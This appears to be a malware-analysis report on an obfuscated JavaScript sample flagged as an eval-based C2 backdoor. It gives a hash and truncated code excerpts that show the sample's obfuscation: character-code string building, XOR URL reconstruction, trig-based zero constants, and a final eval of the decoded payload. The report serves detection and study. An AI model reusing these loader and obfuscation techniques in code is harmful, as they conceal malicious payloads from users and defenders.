Suspicious ^80% javascript-malware-collection Download

20151217_a1c7941df5619e30d9f4a48ff7a5fd27.js

obfuscated eval C2 backdoor

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-256ee648d821309ec641e746ff265b1417837f7c1ec040124f5f18ff76d89e65641

Evidence

Builds characters with String.fromCharCode line 2

2:158… 'E',')','b','^','N','G','_','g','a','c','j','Z','d','i','b','D',String.fromCharCode(10),'P','[','l','t','B','[',':','o','7',',','R','A','V',String.fromCharCode(13),'d','R','{','#','<','c','o','o','a','j','?','4' …

XOR URL reconstruction call line 2

2:778… '>','g','$','(','W','%','Q','J','c','&','.','Y','D','L','q','Y',String.fromCharCode(39),'8','!','R',' ','(','a','o',')','S','d','2','*','K','t',',',';',',','"','I','+',' ',',','o','y','E','v','A',':','6','-','4','K',',','.','7','P','O','S','/','#','^','H','0','H','_','h','g','M','c','q','1','J','B','D','7','2','x','3','`','v','?',']','E','4','"','`','5','m','[','M','2','D','u …

Calls JavaScript toString conversion method lines 4–10

4:44… KvqRZh){TAZS=hjUlDVpAujBURGEbF(NaHidJWuaGA,RPSPaCjLMYwiJ);hXqSy=TAZS.toString(HnKvqRZh);return hXqSy;}
5function PQPMONKxmywpfKI(JzxzapUcrVWrUUJrN,MPVHgOmuuwUnEYsJlWwMIEqvrFYctoqrsT,fDoHOskcNhqAwOdvBDzaHBLTaTPOCqBvWDc){eval(JzxzapUcrVWrUUJrN);}
6function nDpszaDLmLKjYICuoUaXvNOUjlKtJFVIGVobcPtCypLGgswuPtovpk(NDeumHehsBtRf,jirpRUHBAqLPIQ){ return dWlHIPo[EFeSyeYE[jJMib(NDeumHehsBtRf[jirpRUHBAqLPIQ],(7721+651)/299,(7635+715)/835)]];}
7function zVyWbck(hDMeFlXqwkgVzMpkkBBqtzWNsHDPpDXtfCnM) {return !LsbKlFsBdjG(GFevsowwauJojiH(hDMeFlXqwkgVzMpkkBBqtzWNsHDPpDXtfCnM)) && cAAcjyGCyOxB(hDMeFlXqwkgVzMpkkBBqtzWNsHDPpDXtfCnM);}
8function LsbKlFsBdjG(JkrCHoInvkngZv) {return isNaN(JkrCHoInvkngZv);}
9function cAAcjyGCyOxB(gKvqXZlOpmWQp) {return isFinite(gKvqXZlOpmWQp);}
10function hjUlDVpAujBURGEbF( …

Dense indexed short-token grid lines 12–13

12:33… ypbYFqJ,mrpSqEWdjvf) {DgJeRZHljaJUNl[iPcGKZypbYFqJ]=mrpSqEWdjvf;}
13var B = new Array();B[0]=[];B[0][0]='d';B[0][1]='a';B[0][2]='d';B[0][3]='a';B[0][4]='46';B[0][5]='3d';B[0][6]='42';B[0][7]='14';B[0][8]='3i';B[0][9]='14';B[0][10]='25';B[0][11]='14';B[0][12]='16';B[0][13]='47';B[0][14]='3k';B[0][15]='3d';B[0][16]='44';B[0][17]='3g';B[0][18]='3l';B[0][19]='3g';B[0][20]='49';B[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:30… ],B[4],B[5]];
20var rcqaGQqzR=[];
21function RMtrneAPLeBKtuude(rKmoH){qlLVMjPYwxI= '';xsSQJUUdKoL=Math.round((Math.pow(Math.sin(97), 2) + Math.pow(Math.cos(97), 2) - 1));while(true){if (xsSQJUUdKoL >= (326+394)/120){break;}rcqaGQqzR[xsSQJUUdKoL]=Math.round((Math.pow(Math.sin(785), 2) + Math.pow(Math.cos(785), 2) - 1)); while(true) { if(rcqaGQqzR[xsSQJUUdKoL] > rKmoH[xsSQJUUdKoL].length-(635+140)/775) { break; } if (zVyWbck(jJMib(rKmoH[xsSQJUUdKoL][rcqaGQqzR[xsSQJUUdKoL]],(-244+524)/10,(357+973)/133))) {qlLVMjPYwxI += nDpszaDLmLKjYICuoUaXvNOUjlKtJFVIGVobcPtCypLGgswuPtovpk([rKmoH[xsSQJUUdKoL][rcqaGQqzR[xsSQJUUdKoL]]], Math.round((Math.pow(Math.sin(54), 2) + Math.pow(Math.cos(54), 2) - 1)));} rcqaGQqzR[xsSQJUUdKoL]++;}xsSQJUUdKoL++;} return qlLVMjPYwxI}
22var OyEUYRIqBvQmEhyYuelqWWXTJxlOzcChy = 'BzflUQdKRzcwxGbTiQVZONllCkOndPczJOwf';var HnsniIkphBIqKlxzoWXVnQHvwnZbBFEc = 'hBoQkBszIEPGDmchtWLWIXnCuvnkNQFQTrxO';PQPMONKxmywpfKI(RMtrneAPLeBKtuude(rKmoH),OyEUYRIqBvQmEhyYuelqWWXTJxlOzcChy,HnsniIkphBIqKlxzoWXVnQHvwnZbBFEc);